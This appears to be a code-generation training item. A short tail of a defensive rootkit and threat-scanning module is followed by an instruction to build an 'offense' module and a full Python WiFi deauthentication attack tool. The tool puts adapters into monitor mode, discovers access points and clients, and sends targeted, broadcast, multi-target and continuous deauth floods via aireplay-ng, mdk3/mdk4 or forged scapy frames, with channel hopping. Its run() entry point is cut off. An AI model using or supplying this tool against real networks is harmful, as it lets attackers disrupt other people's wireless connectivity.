                self.alert("Process Hiding", f"Mismatch: ps={ps_count}, /proc={proc_count}", "high")
            else:
                self.print_status("Process count consistent", "success")

        # Check for common rootkit files
        rootkit_files = [
            "/usr/lib/libproc.a",
            "/dev/ptyp",
            "/dev/ptyq",
            "/usr/include/file.h",
            "/usr/include/hosts.h",
        ]
        for f in rootkit_files:
            if Path(f).exists():
                self.alert("Rootkit Artifact", f"Suspicious file: {f}", "high")

        self.print_status("Rootkit checks complete", "info")

    def show_menu(self):
        clear_screen()
        display_banner()

        print(f"{Colors.MAGENTA}{Colors.BOLD}  Counter Intelligence{Colors.RESET}")
        print(f"{Colors.DIM}  Threat detection & response{Colors.RESET}")
        print(f"{Colors.DIM}  {'─' * 50}{Colors.RESET}")
        print()
        print(f"  {Colors.BOLD}Quick Scans{Colors.RESET}")
        print(f"  {Colors.MAGENTA}[1]{Colors.RESET} Full Threat Scan")
        print(f"  {Colors.MAGENTA}[2]{Colors.RESET} Suspicious Processes")
        print(f"  {Colors.MAGENTA}[3]{Colors.RESET} Network Analysis")
        print(f"  {Colors.MAGENTA}[4]{Colors.RESET} Login Anomalies (Quick)")
        print(f"  {Colors.MAGENTA}[5]{Colors.RESET} File Integrity")
        print(f"  {Colors.MAGENTA}[6]{Colors.RESET} Scheduled Tasks")
        print(f"  {Colors.MAGENTA}[7]{Colors.RESET} Rootkit Detection")
        print()
        print(f"  {Colors.BOLD}Investigation Tools{Colors.RESET}")
        print(f"  {Colors.MAGENTA}[8]{Colors.RESET} Login Anomalies Analysis {Colors.CYAN}(Interactive){Colors.RESET}")
        print()
        print(f"  {Colors.DIM}[0]{Colors.RESET} Back")
        print()

    def full_scan(self):
        """Run all threat checks."""
        self.threats = []
        self.check_suspicious_processes()
        self.check_network_connections()
        self.check_login_anomalies()
        self.check_file_integrity()
        self.check_scheduled_tasks()
        self.check_rootkits()

        # Summary
        high = sum(1 for t in self.threats if t['severity'] == 'high')
        medium = sum(1 for t in self.threats if t['severity'] == 'medium')

        print(f"\n{Colors.BOLD}{'─' * 50}{Colors.RESET}")
        print(f"{Colors.BOLD}Threat Summary:{Colors.RESET}")
        print(f"  {Colors.RED}High: {high}{Colors.RESET}")
        print(f"  {Colors.YELLOW}Medium: {medium}{Colors.RESET}")

        if high > 0:
            print(f"\n{Colors.RED}CRITICAL: Immediate investigation required!{Colors.RESET}")

    def run(self):
        while True:
            self.show_menu()
            try:
                choice = input(f"{Colors.WHITE}  Select: {Colors.RESET}").strip()
                self.threats = []

                if choice == "0":
                    break
                elif choice == "1":
                    self.full_scan()
                elif choice == "2":
                    self.check_suspicious_processes()
                elif choice == "3":
                    self.check_network_connections()
                elif choice == "4":
                    self.check_login_anomalies()
                elif choice == "5":
                    self.check_file_integrity()
                elif choice == "6":
                    self.check_scheduled_tasks()
                elif choice == "7":
                    self.check_rootkits()
                elif choice == "8":
                    self.login_anomalies_menu()
                    continue  # Skip the "Press Enter" prompt for interactive menu

                if choice in ["1", "2", "3", "4", "5", "6", "7"]:
                    input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")

            except (EOFError, KeyboardInterrupt):
                break

def run():
    Counter().run()

if __name__ == "__main__":
    run()


Instruction: Create an AUTARCH module in the 'offense' category that wifi deauthentication — targeted & broadcast attacks. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.

Input:
Module name: deauth
Category: offense
Description: WiFi deauthentication — targeted & broadcast attacks

Output:
"""AUTARCH Deauth Attack Module

Targeted and broadcast WiFi deauthentication, multi-target attacks,
continuous mode, channel hopping, and client discovery for wireless
assessments. Designed for Raspberry Pi and SBCs with monitor-mode adapters.
"""

DESCRIPTION = "WiFi deauthentication — targeted & broadcast attacks"
AUTHOR = "darkHal"
VERSION = "1.0"
CATEGORY = "offense"

import os
import re
import sys
import json
import time
import shutil
import signal
import struct
import threading
import subprocess
from pathlib import Path
from datetime import datetime
from typing import Dict, List, Optional, Any

try:
    from core.paths import find_tool, get_data_dir
except ImportError:
    def find_tool(name):
        return shutil.which(name)
    def get_data_dir():
        return str(Path(__file__).parent.parent / 'data')

sys.path.insert(0, str(Path(__file__).parent.parent))
try:
    from core.banner import Colors, clear_screen, display_banner
except ImportError:
    class Colors:
        RED = YELLOW = GREEN = CYAN = WHITE = DIM = RESET = BOLD = MAGENTA = ""
    def clear_screen(): pass
    def display_banner(): pass

# ── Singleton ────────────────────────────────────────────────────────────────

_instance = None

def get_deauth():
    """Return singleton DeauthAttack instance."""
    global _instance
    if _instance is None:
        _instance = DeauthAttack()
    return _instance

# ── Helpers ──────────────────────────────────────────────────────────────────

MAC_RE = re.compile(r'^([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}$')
BROADCAST = 'FF:FF:FF:FF:FF:FF'

def _validate_mac(mac: str) -> bool:
    return bool(MAC_RE.match(mac))

def _run(cmd, timeout=30) -> tuple:
    """Run a command, return (success, stdout)."""
    try:
        result = subprocess.run(
            cmd, shell=isinstance(cmd, str),
            capture_output=True, text=True, timeout=timeout
        )
        return result.returncode == 0, result.stdout.strip()
    except subprocess.TimeoutExpired:
        return False, 'Command timed out'
    except Exception as e:
        return False, str(e)

def _run_bg(cmd) -> Optional[subprocess.Popen]:
    """Start a background process, return Popen or None."""
    try:
        proc = subprocess.Popen(
            cmd, shell=isinstance(cmd, str),
            stdout=subprocess.PIPE, stderr=subprocess.PIPE,
            text=True
        )
        return proc
    except Exception:
        return None

# ── DeauthAttack Class ───────────────────────────────────────────────────────

class DeauthAttack:
    """WiFi deauthentication attack toolkit."""

    def __init__(self):
        # Data directory
        data_root = get_data_dir()
        if isinstance(data_root, Path):
            data_root = str(data_root)
        self.data_dir = os.path.join(data_root, 'deauth')
        os.makedirs(self.data_dir, exist_ok=True)

        self.history_path = os.path.join(self.data_dir, 'history.json')

        # Tool paths
        self.aireplay = find_tool('aireplay-ng') or shutil.which('aireplay-ng')
        self.airmon = find_tool('airmon-ng') or shutil.which('airmon-ng')
        self.airodump = find_tool('airodump-ng') or shutil.which('airodump-ng')
        self.mdk3 = find_tool('mdk3') or shutil.which('mdk3')
        self.mdk4 = find_tool('mdk4') or shutil.which('mdk4')
        self.iw = shutil.which('iw')
        self.ip_cmd = shutil.which('ip')
        self.iwconfig = shutil.which('iwconfig')

        # Scapy availability
        self._scapy = None
        try:
            from scapy.all import (
                Dot11, Dot11Deauth, RadioTap, sendp, sniff, conf
            )
            self._scapy = True
        except ImportError:
            self._scapy = False

        # Attack state
        self._continuous_thread: Optional[threading.Thread] = None
        self._continuous_running = False
        self._continuous_target = {}
        self._continuous_frames_sent = 0
        self._continuous_start_time = 0.0

        # Channel hopping state
        self._hop_thread: Optional[threading.Thread] = None
        self._hop_running = False
        self._current_channel = 0

        # Attack history
        self._history: List[Dict] = []
        self._load_history()

    # ── Tool Status ──────────────────────────────────────────────────────

    def get_tools_status(self) -> Dict[str, Any]:
        """Return availability of all tools used by this module."""
        return {
            'aireplay-ng': self.aireplay is not None,
            'airmon-ng': self.airmon is not None,
            'airodump-ng': self.airodump is not None,
            'mdk3': self.mdk3 is not None,
            'mdk4': self.mdk4 is not None,
            'iw': self.iw is not None,
            'ip': self.ip_cmd is not None,
            'iwconfig': self.iwconfig is not None,
            'scapy': self._scapy is True,
        }

    # ── Interface Management ─────────────────────────────────────────────

    def get_interfaces(self) -> List[Dict]:
        """List wireless interfaces with mode info."""
        interfaces = []

        # Try iw dev first
        if self.iw:
            try:
                out = subprocess.check_output(
                    [self.iw, 'dev'], text=True, timeout=5
                )
                iface = None
                for line in out.splitlines():
                    line = line.strip()
                    if line.startswith('Interface'):
                        if iface:
                            interfaces.append(iface)
                        iface = {
                            'name': line.split()[-1],
                            'mode': 'managed',
                            'channel': 0,
                            'mac': '',
                            'phy': ''
                        }
                    elif iface:
                        if line.startswith('type'):
                            iface['mode'] = line.split()[-1]
                        elif line.startswith('channel'):
                            try:
                                iface['channel'] = int(line.split()[1])
                            except (ValueError, IndexError):
                                pass
                        elif line.startswith('addr'):
                            iface['mac'] = line.split()[-1]
                if iface:
                    interfaces.append(iface)
            except Exception:
                pass

        # Fallback to iwconfig
        if not interfaces and self.iwconfig:
            try:
                out = subprocess.check_output(
                    [self.iwconfig], text=True,
                    stderr=subprocess.DEVNULL, timeout=5
                )
                for block in out.split('\n\n'):
                    if 'IEEE 802.11' in block or 'ESSID' in block:
                        name = block.split()[0]
                        mode = 'managed'
                        if 'Mode:Monitor' in block:
                            mode = 'monitor'
                        elif 'Mode:Master' in block:
                            mode = 'master'
                        ch_m = re.search(r'Channel[:\s]*(\d+)', block)
                        ch = int(ch_m.group(1)) if ch_m else 0
                        mac_m = re.search(
                            r'HWaddr\s+([\da-fA-F:]{17})', block
                        )
                        mac = mac_m.group(1) if mac_m else ''
                        interfaces.append({
                            'name': name, 'mode': mode,
                            'channel': ch, 'mac': mac, 'phy': ''
                        })
            except Exception:
                pass

        # Last resort: /sys/class/net
        if not interfaces:
            try:
                sys_net = Path('/sys/class/net')
                if sys_net.exists():
                    for d in sys_net.iterdir():
                        if (d / 'wireless').exists() or (d / 'phy80211').exists():
                            interfaces.append({
                                'name': d.name, 'mode': 'unknown',
                                'channel': 0, 'mac': '', 'phy': ''
                            })
            except Exception:
                pass

        return interfaces

    def enable_monitor(self, interface: str) -> Dict:
        """Put interface into monitor mode.

        Tries airmon-ng first, falls back to iw.
        Returns dict with ok, interface (monitor name), and message.
        """
        if not interface:
            return {'ok': False, 'error': 'No interface specified'}

        # Try airmon-ng
        if self.airmon:
            try:
                # Kill interfering processes
                subprocess.run(
                    [self.airmon, 'check', 'kill'],
                    capture_output=True, text=True, timeout=10
                )
                result = subprocess.run(
                    [self.airmon, 'start', interface],
                    capture_output=True, text=True, timeout=15
                )
                output = result.stdout + result.stderr
                # Detect the monitor interface name
                mon_match = re.search(
                    r'\(monitor mode (?:vif )?enabled(?: on| for) \[?(\w+)\]?\)',
                    output
                )
                if mon_match:
                    mon_iface = mon_match.group(1)
                elif os.path.isdir(f'/sys/class/net/{interface}mon'):
                    mon_iface = f'{interface}mon'
                else:
                    mon_iface = interface

                return {
                    'ok': True,
                    'interface': mon_iface,
                    'message': f'Monitor mode enabled on {mon_iface}'
                }
            except Exception as e:
                return {'ok': False, 'error': f'airmon-ng failed: {e}'}

        # Fallback: iw
        if self.iw and self.ip_cmd:
            try:
                subprocess.run(
                    [self.ip_cmd, 'link', 'set', interface, 'down'],
                    capture_output=True, timeout=5
                )
                result = subprocess.run(
                    [self.iw, 'dev', interface, 'set', 'type', 'monitor'],
                    capture_output=True, text=True, timeout=5
                )
                subprocess.run(
                    [self.ip_cmd, 'link', 'set', interface, 'up'],
                    capture_output=True, timeout=5
                )
                if result.returncode == 0:
                    return {
                        'ok': True,
                        'interface': interface,
                        'message': f'Monitor mode enabled on {interface} (via iw)'
                    }
                return {'ok': False, 'error': result.stderr.strip() or 'iw set monitor failed'}
            except Exception as e:
                return {'ok': False, 'error': f'iw failed: {e}'}

        return {'ok': False, 'error': 'No tool available (need airmon-ng or iw+ip)'}

    def disable_monitor(self, interface: str) -> Dict:
        """Restore interface to managed mode."""
        if not interface:
            return {'ok': False, 'error': 'No interface specified'}

        # Try airmon-ng
        if self.airmon:
            try:
                result = subprocess.run(
                    [self.airmon, 'stop', interface],
                    capture_output=True, text=True, timeout=15
                )
                output = result.stdout + result.stderr
                managed_match = re.search(
                    r'\(monitor mode disabled(?: on)? (\w+)\)', output
                )
                managed_name = managed_match.group(1) if managed_match else interface.replace('mon', '')
                return {
                    'ok': True,
                    'interface': managed_name,
                    'message': f'Managed mode restored on {managed_name}'
                }
            except Exception as e:
                return {'ok': False, 'error': f'airmon-ng stop failed: {e}'}

        # Fallback: iw
        if self.iw and self.ip_cmd:
            try:
                subprocess.run(
                    [self.ip_cmd, 'link', 'set', interface, 'down'],
                    capture_output=True, timeout=5
                )
                result = subprocess.run(
                    [self.iw, 'dev', interface, 'set', 'type', 'managed'],
                    capture_output=True, text=True, timeout=5
                )
                subprocess.run(
                    [self.ip_cmd, 'link', 'set', interface, 'up'],
                    capture_output=True, timeout=5
                )
                if result.returncode == 0:
                    return {
                        'ok': True,
                        'interface': interface,
                        'message': f'Managed mode restored on {interface}'
                    }
                return {'ok': False, 'error': result.stderr.strip() or 'iw set managed failed'}
            except Exception as e:
                return {'ok': False, 'error': f'iw failed: {e}'}

        return {'ok': False, 'error': 'No tool available'}

    # ── Scanning ─────────────────────────────────────────────────────────

    def scan_networks(self, interface: str, duration: int = 10) -> List[Dict]:
        """Passive scan for access points.

        Uses airodump-ng CSV output or scapy sniffing.
        Returns list of dicts: bssid, ssid, channel, encryption, signal, clients_count.
        """
        if not interface:
            return []

        networks = []

        # Method 1: airodump-ng
        if self.airodump:
            tmp_prefix = os.path.join(self.data_dir, f'scan_{int(time.time())}')
            try:
                proc = subprocess.Popen(
                    [self.airodump, '--write', tmp_prefix,
                     '--output-format', 'csv', '--write-interval', '1',
                     interface],
                    stdout=subprocess.DEVNULL,
                    stderr=subprocess.DEVNULL
                )
                time.sleep(min(duration, 120))
                proc.terminate()
                try:
                    proc.wait(timeout=5)
                except subprocess.TimeoutExpired:
                    proc.kill()

                # Parse CSV
                csv_path = f'{tmp_prefix}-01.csv'
                if os.path.isfile(csv_path):
                    networks = self._parse_airodump_csv(csv_path)
                    # Clean up temp files
                    for f in Path(self.data_dir).glob(
                        f'scan_{os.path.basename(tmp_prefix).replace("scan_", "")}*'
                    ):
                        try:
                            f.unlink()
                        except Exception:
                            pass
            except Exception:
                pass

        # Method 2: scapy fallback
        if not networks and self._scapy:
            networks = self._scan_scapy(interface, duration)

        return networks

    def _parse_airodump_csv(self, csv_path: str) -> List[Dict]:
        """Parse airodump-ng CSV output into network list."""
        networks = []
        clients_map: Dict[str, int] = {}
        section = 'ap'

        try:
            with open(csv_path, 'r', errors='ignore') as f:
                for line in f:
                    line = line.strip()
                    if not line:
                        continue
                    if line.startswith('Station MAC'):
                        section = 'client'
                        continue
                    if line.startswith('BSSID') or line.startswith('\x00'):
                        continue

                    parts = [p.strip() for p in line.split(',')]

                    if section == 'ap' and len(parts) >= 14:
                        bssid = parts[0]
                        if not _validate_mac(bssid):
                            continue
                        channel = 0
                        try:
                            channel = int(parts[3])
                        except (ValueError, IndexError):
                            pass
                        signal = -100
                        try:
                            signal = int(parts[8])
                        except (ValueError, IndexError):
                            pass
                        encryption = parts[5] if len(parts) > 5 else ''
                        ssid = parts[13] if len(parts) > 13 else ''
                        networks.append({
                            'bssid': bssid,
                            'ssid': ssid,
                            'channel': channel,
                            'encryption': encryption,
                            'signal': signal,
                            'clients_count': 0
                        })

                    elif section == 'client' and len(parts) >= 6:
                        client_mac = parts[0]
                        ap_bssid = parts[5] if len(parts) > 5 else ''
                        if _validate_mac(ap_bssid):
                            clients_map[ap_bssid] = clients_map.get(ap_bssid, 0) + 1

            # Merge client counts
            for net in networks:
                net['clients_count'] = clients_map.get(net['bssid'], 0)

        except Exception:
            pass

        return networks

    def _scan_scapy(self, interface: str, duration: int) -> List[Dict]:
        """Scan using scapy beacon sniffing."""
        networks = {}
        try:
            from scapy.all import Dot11, Dot11Beacon, Dot11Elt, sniff

            def handler(pkt):
                if pkt.haslayer(Dot11Beacon):
                    bssid = pkt[Dot11].addr2
                    if not bssid or bssid in networks:
                        return
                    ssid = ''
                    channel = 0
                    enc = 'OPEN'
                    elt = pkt[Dot11Elt]
                    while elt:
                        if elt.ID == 0:  # SSID
                            try:
                                ssid = elt.info.decode('utf-8', errors='replace')
                            except Exception:
                                ssid = ''
                        elif elt.ID == 3:  # DS Parameter Set (channel)
                            try:
                                channel = int(elt.info[0])
                            except Exception:
                                pass
                        elt = elt.payload.getlayer(Dot11Elt)

                    cap = pkt.sprintf('{Dot11Beacon:%Dot11Beacon.cap%}')
                    if 'privacy' in cap:
                        enc = 'WPA/WPA2'

                    try:
                        sig = -(256 - ord(pkt.notdecoded[-4:-3]))
                    except Exception:
                        sig = -100

                    networks[bssid] = {
                        'bssid': bssid,
                        'ssid': ssid,
                        'channel': channel,
                        'encryption': enc,
                        'signal': sig,
                        'clients_count': 0
                    }

            sniff(iface=interface, prn=handler, timeout=duration, store=False)
        except Exception:
            pass

        return list(networks.values())

    def scan_clients(self, interface: str, target_bssid: Optional[str] = None,
                     duration: int = 10) -> List[Dict]:
        """Discover client-AP associations.

        Returns list of dicts: client_mac, ap_bssid, ap_ssid, signal, packets.
        """
        if not interface:
            return []

        clients = []

        # Method 1: airodump-ng with optional BSSID filter
        if self.airodump:
            tmp_prefix = os.path.join(self.data_dir, f'clients_{int(time.time())}')
            cmd = [
                self.airodump, '--write', tmp_prefix,
                '--output-format', 'csv', '--write-interval', '1'
            ]
            if target_bssid and _validate_mac(target_bssid):
                cmd += ['--bssid', target_bssid]
            cmd.append(interface)

            try:
                proc = subprocess.Popen(
                    cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
                )
                time.sleep(min(duration, 120))
                proc.terminate()
                try:
                    proc.wait(timeout=5)
                except subprocess.TimeoutExpired:
                    proc.kill()

                csv_path = f'{tmp_prefix}-01.csv'
                if os.path.isfile(csv_path):
                    clients = self._parse_clients_csv(csv_path, target_bssid)
                    for f in Path(self.data_dir).glob(
                        f'clients_{os.path.basename(tmp_prefix).replace("clients_", "")}*'
                    ):
                        try:
                            f.unlink()
                        except Exception:
                            pass
            except Exception:
                pass

        # Method 2: scapy fallback
        if not clients and self._scapy:
            clients = self._scan_clients_scapy(interface, target_bssid, duration)

        return clients

    def _parse_clients_csv(self, csv_path: str,
                           target_bssid: Optional[str] = None) -> List[Dict]:
        """Parse airodump CSV for client associations."""
        clients = []
        ap_names: Dict[str, str] = {}
        section = 'ap'

        try:
            with open(csv_path, 'r', errors='ignore') as f:
                for line in f:
                    line = line.strip()
                    if not line:
                        continue
                    if line.startswith('Station MAC'):
                        section = 'client'
                        continue
                    if line.startswith('BSSID'):
                        continue

                    parts = [p.strip() for p in line.split(',')]

                    if section == 'ap' and len(parts) >= 14:
                        bssid = parts[0]
                        ssid = parts[13] if len(parts) > 13 else ''
                        if _validate_mac(bssid):
                            ap_names[bssid] = ssid

                    elif section == 'client' and len(parts) >= 6:
                        client_mac = parts[0]
                        if not _validate_mac(client_mac):
                            continue
                        ap_bssid = parts[5] if len(parts) > 5 else ''
                        if not _validate_mac(ap_bssid):
                            continue
                        if target_bssid and ap_bssid.upper() != target_bssid.upper():
                            continue

                        signal = -100
                        try:
                            signal = int(parts[3])
                        except (ValueError, IndexError):
                            pass
                        packets = 0
                        try:
                            packets = int(parts[4])
                        except (ValueError, IndexError):
                            pass

                        clients.append({
                            'client_mac': client_mac,
                            'ap_bssid': ap_bssid,
                            'ap_ssid': ap_names.get(ap_bssid, ''),
                            'signal': signal,
                            'packets': packets
                        })
        except Exception:
            pass

        return clients

    def _scan_clients_scapy(self, interface: str,
                            target_bssid: Optional[str],
                            duration: int) -> List[Dict]:
        """Discover clients using scapy."""
        seen: Dict[str, Dict] = {}
        try:
            from scapy.all import Dot11, sniff

            def handler(pkt):
                if not pkt.haslayer(Dot11):
                    return
                d11 = pkt[Dot11]
                # Data or management frames — addr1=dest, addr2=src, addr3=bssid
                src = d11.addr2
                dst = d11.addr1
                bssid = d11.addr3
                if not src or not bssid:
                    return
                if src == bssid or src == BROADCAST.lower():
                    return
                if target_bssid and bssid.upper() != target_bssid.upper():
                    return
                key = f'{src}_{bssid}'
                if key not in seen:
                    seen[key] = {
                        'client_mac': src,
                        'ap_bssid': bssid,
                        'ap_ssid': '',
                        'signal': -100,
                        'packets': 0
                    }
                seen[key]['packets'] += 1

            sniff(iface=interface, prn=handler, timeout=duration, store=False)
        except Exception:
            pass

        return list(seen.values())

    # ── Deauthentication Attacks ─────────────────────────────────────────

    def deauth_targeted(self, interface: str, target_bssid: str,
                        client_mac: str, count: int = 10,
                        interval: float = 0.1) -> Dict:
        """Send deauth frames to a specific client on a specific AP.

        Uses aireplay-ng or scapy Dot11Deauth as fallback.
        Returns stats dict.
        """
        if not _validate_mac(target_bssid):
            return {'ok': False, 'error': 'Invalid target BSSID'}
        if not _validate_mac(client_mac):
            return {'ok': False, 'error': 'Invalid client MAC'}
        count = max(1, min(count, 99999))

        start_ts = time.time()
        frames_sent = 0

        # Method 1: aireplay-ng
        if self.aireplay:
            try:
                result = subprocess.run(
                    [self.aireplay, '-0', str(count),
                     '-a', target_bssid, '-c', client_mac, interface],
                    capture_output=True, text=True,
                    timeout=max(30, count * interval * 2 + 10)
                )
                output = result.stdout + result.stderr
                sent_match = re.search(r'(\d+)\s+(?:ACKs|packets)', output)
                if sent_match:
                    frames_sent = int(sent_match.group(1))
                else:
                    frames_sent = count
            except subprocess.TimeoutExpired:
                frames_sent = count
            except Exception as e:
                return {'ok': False, 'error': f'aireplay-ng failed: {e}'}

        # Method 2: scapy
        elif self._scapy:
            frames_sent = self._deauth_scapy(
                interface, target_bssid, client_mac, count, interval
            )

        # Method 3: mdk4 / mdk3
        elif self.mdk4 or self.mdk3:
            tool = self.mdk4 or self.mdk3
            frames_sent = self._deauth_mdk(
                tool, interface, target_bssid, client_mac, count
            )
        else:
            return {'ok': False, 'error': 'No deauth tool available (need aireplay-ng, scapy, or mdk3/mdk4)'}

        elapsed = round(time.time() - start_ts, 2)
        record = {
            'timestamp': datetime.now().isoformat(),
            'target_bssid': target_bssid,
            'client_mac': client_mac,
            'mode': 'targeted',
            'count': count,
            'frames_sent': frames_sent,
            'duration': elapsed,
            'interface': interface
        }
        self._add_history(record)

        return {
            'ok': True,
            'mode': 'targeted',
            'target_bssid': target_bssid,
            'client_mac': client_mac,
            'frames_sent': frames_sent,
            'duration': elapsed
        }

    def deauth_broadcast(self, interface: str, target_bssid: str,
                         count: int = 10, interval: float = 0.1) -> Dict:
        """Broadcast deauth to all clients on an AP."""
        return self.deauth_targeted(
            interface, target_bssid, BROADCAST, count, interval
        )

    def deauth_multi(self, interface: str, targets: List[Dict],
                     count: int = 10, interval: float = 0.1) -> Dict:
        """Deauth multiple AP/client pairs.

        targets: list of {bssid, client_mac}
        """
        if not targets:
            return {'ok': False, 'error': 'No targets specified'}

        results = []
        total_frames = 0

        for t in targets:
            bssid = t.get('bssid', '')
            client = t.get('client_mac', BROADCAST)
            if not client:
                client = BROADCAST
            r = self.deauth_targeted(interface, bssid, client, count, interval)
            results.append(r)
            if r.get('ok'):
                total_frames += r.get('frames_sent', 0)

        return {
            'ok': True,
            'mode': 'multi',
            'targets_count': len(targets),
            'total_frames': total_frames,
            'results': results
        }

    def _deauth_scapy(self, interface: str, bssid: str, client: str,
                      count: int, interval: float) -> int:
        """Send deauth using scapy."""
        frames_sent = 0
        try:
            from scapy.all import Dot11, Dot11Deauth, RadioTap, sendp

            # Deauth from AP to client
            pkt_ap = (RadioTap() /
                      Dot11(addr1=client, addr2=bssid, addr3=bssid) /
                      Dot11Deauth(reason=7))
            # Deauth from client to AP
            pkt_cl = (RadioTap() /
                      Dot11(addr1=bssid, addr2=client, addr3=bssid) /
                      Dot11Deauth(reason=7))

            for _ in range(count):
                sendp(pkt_ap, iface=interface, count=1, verbose=False)
                sendp(pkt_cl, iface=interface, count=1, verbose=False)
                frames_sent += 2
                if interval > 0:
                    time.sleep(interval)

        except Exception:
            pass
        return frames_sent

    def _deauth_mdk(self, tool: str, interface: str, bssid: str,
                    client: str, count: int) -> int:
        """Send deauth using mdk3/mdk4."""
        # Create a target file for mdk
        target_file = os.path.join(self.data_dir, 'mdk_targets.txt')
        try:
            with open(target_file, 'w') as f:
                f.write(f'{bssid}\n')

            result = subprocess.run(
                [tool, interface, 'd', '-b', target_file, '-c', str(count)],
                capture_output=True, text=True, timeout=max(30, count + 10)
            )
            return count  # mdk does not reliably report frame count
        except Exception:
            return 0
        finally:
            try:
                os.unlink(target_file)
            except Exception:
                pass

    # ── Continuous Mode ──────────────────────────────────────────────────

    def start_continuous(self, interface: str, target_bssid: str,
                         client_mac: Optional[str] = None,
                         interval: float = 0.5,
                         burst: int = 5) -> Dict:
        """Start continuous deauth in a background thread.

        Sends `burst` deauth frames every `interval` seconds.
        """
        if self._continuous_running:
            return {'ok': False, 'error': 'Continuous attack already running'}
        if not _validate_mac(target_bssid):
            return {'ok': False, 'error': 'Invalid target BSSID'}
        if client_mac and not _validate_mac(client_mac):
            return {'ok': False, 'error': 'Invalid client MAC'}

        client = client_mac or BROADCAST
        interval = max(0.05, min(interval, 60.0))
        burst = max(1, min(burst, 1000))

        self._continuous_running = True
        self._continuous_frames_sent = 0
        self._continuous_start_time = time.time()
        self._continuous_target = {
            'interface': interface,
            'target_bssid': target_bssid,
            'client_mac': client,
            'interval': interval,
            'burst': burst
        }

        def _worker():
            while self._continuous_running:
                r = self.deauth_targeted(
                    interface, target_bssid, client, burst, 0
                )
                if r.get('ok'):
                    self._continuous_frames_sent += r.get('frames_sent', 0)
                time.sleep(interval)

        self._continuous_thread = threading.Thread(
            target=_worker, daemon=True, name='deauth-continuous'
        )
        self._continuous_thread.start()

        return {
            'ok': True,
            'message': f'Continuous deauth started against {target_bssid}',
            'mode': 'broadcast' if client == BROADCAST else 'targeted'
        }

    def stop_continuous(self) -> Dict:
        """Stop continuous deauth attack."""
        if not self._continuous_running:
            return {'ok': False, 'error': 'No continuous attack running'}

        self._continuous_running = False
        if self._continuous_thread:
            self._continuous_thread.join(timeout=5)
            self._continuous_thread = None

        elapsed = round(time.time() - self._continuous_start_time, 2)
        frames = self._continuous_frames_sent

        record = {
            'timestamp': datetime.now().isoformat(),
            'target_bssid': self._continuous_target.get('target_bssid', ''),
            'client_mac': self._continuous_target.get('client_mac', ''),
            'mode': 'continuous',
            'count': frames,
            'frames_sent': frames,
            'duration': elapsed,
            'interface': self._continuous_target.get('interface', '')
        }
        self._add_history(record)

        return {
            'ok': True,
            'message': 'Continuous attack stopped',
            'frames_sent': frames,
            'duration': elapsed
        }

    def is_attacking(self) -> bool:
        """Check if continuous attack is running."""
        return self._continuous_running

    def get_attack_status(self) -> Dict:
        """Return current attack state."""
        if not self._continuous_running:
            return {
                'running': False,
                'target_bssid': '',
                'client_mac': '',
                'frames_sent': 0,
                'duration': 0,
                'mode': 'idle'
            }

        elapsed = round(time.time() - self._continuous_start_time, 2)
        client = self._continuous_target.get('client_mac', BROADCAST)
        mode = 'broadcast' if client == BROADCAST else 'targeted'

        return {
            'running': True,
            'target_bssid': self._continuous_target.get('target_bssid', ''),
            'client_mac': client,
            'frames_sent': self._continuous_frames_sent,
            'duration': elapsed,
            'mode': mode,
            'interval': self._continuous_target.get('interval', 0),
            'burst': self._continuous_target.get('burst', 0)
        }

    # ── Channel Control ──────────────────────────────────────────────────

    def set_channel(self, interface: str, channel: int) -> Dict:
        """Set interface to a specific wireless channel."""
        channel = max(1, min(channel, 196))

        if self.iw:
            ok, out = _run([self.iw, 'dev', interface, 'set', 'channel', str(channel)])
            if ok:
                self._current_channel = channel
                return {'ok': True, 'channel': channel, 'message': f'Set channel {channel}'}
            return {'ok': False, 'error': out or f'Failed to set channel {channel}'}

        if self.iwconfig:
            ok, out = _run([self.iwconfig, interface, 'channel', str(channel)])
            if ok:
                self._current_channel = channel
                return {'ok': True, 'channel': channel, 'message': f'Set channel {channel}'}
            return {'ok': False, 'error': out or f'Failed to set channel {channel}'}

        return {'ok': False, 'error': 'No tool available (need iw or iwconfig)'}

    def channel_hop(self, interface: str, channels: Optional[List[int]] = None,
                    dwell: float = 0.5) -> Dict:
        """Start channel hopping in a background thread.

        Default channels: 1-14 (2.4 GHz).
        """
        if self._hop_running:
            return {'ok': False, 'error': 'Channel hopping already active'}
        if not interface:
            return {'ok': False, 'error': 'No interface specified'}

        if not channels:
            channels = list(range(1, 15))
        dwell = max(0.1, min(dwell, 30.0))

        self._hop_running = True

        def _hop_worker():
            idx = 0
            while self._hop_running:
                ch = channels[idx % len(channels)]
                self.set_channel(interface, ch)
                idx += 1
                time.sleep(dwell)

        self._hop_thread = threading.Thread(
            target=_hop_worker, daemon=True, name='deauth-channel-hop'
        )
        self._hop_thread.start()

        return {
            'ok': True,
            'message': f'Channel hopping started on {interface}',
            'channels': channels,
            'dwell': dwell
        }

    def stop_channel_hop(self) -> Dict:
        """Stop channel hopping."""
        if not self._hop_running:
            return {'ok': False, 'error': 'Channel hopping not active'}

        self._hop_running = False
        if self._hop_thread:
            self._hop_thread.join(timeout=5)
            self._hop_thread = None

        return {'ok': True, 'message': 'Channel hopping stopped'}

    # ── History ──────────────────────────────────────────────────────────

    def get_attack_history(self) -> List[Dict]:
        """Return past attacks with timestamps and stats."""
        return list(self._history)

    def clear_history(self) -> Dict:
        """Clear attack history."""
        self._history = []
        self._save_history()
        return {'ok': True, 'message': 'History cleared'}

    def _add_history(self, record: Dict):
        """Append an attack record and persist."""
        self._history.append(record)
        # Keep last 500 entries
        if len(self._history) > 500:
            self._history = self._history[-500:]
        self._save_history()

    def _load_history(self):
        """Load history from disk."""
        try:
            if os.path.isfile(self.history_path):
                with open(self.history_path, 'r') as f:
                    self._history = json.load(f)
        except Exception:
            self._history = []

    def _save_history(self):
        """Persist history to disk."""
        try:
            with open(self.history_path, 'w') as f:
                json.dump(self._history, f, indent=2)
        except Exception:
            pass

    # ── CLI Runner ───────────────────────────────────────────────────────

    def print_status(self, message: str, status: str = "info"):
        colors = {
            "info": Colors.CYAN, "success": Colors.GREEN,
            "warning": Colors.YELLOW, "error": Colors.RED
        }
        symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"}
        print(f"{colors.get(status, Colors.WHITE)}"
              f"[{symbols.get(status, '*')}] {message}{Colors.RESET}")

def run():
    """CLI entry point for the deauth module."""
    clear_screen()
    display_banner()
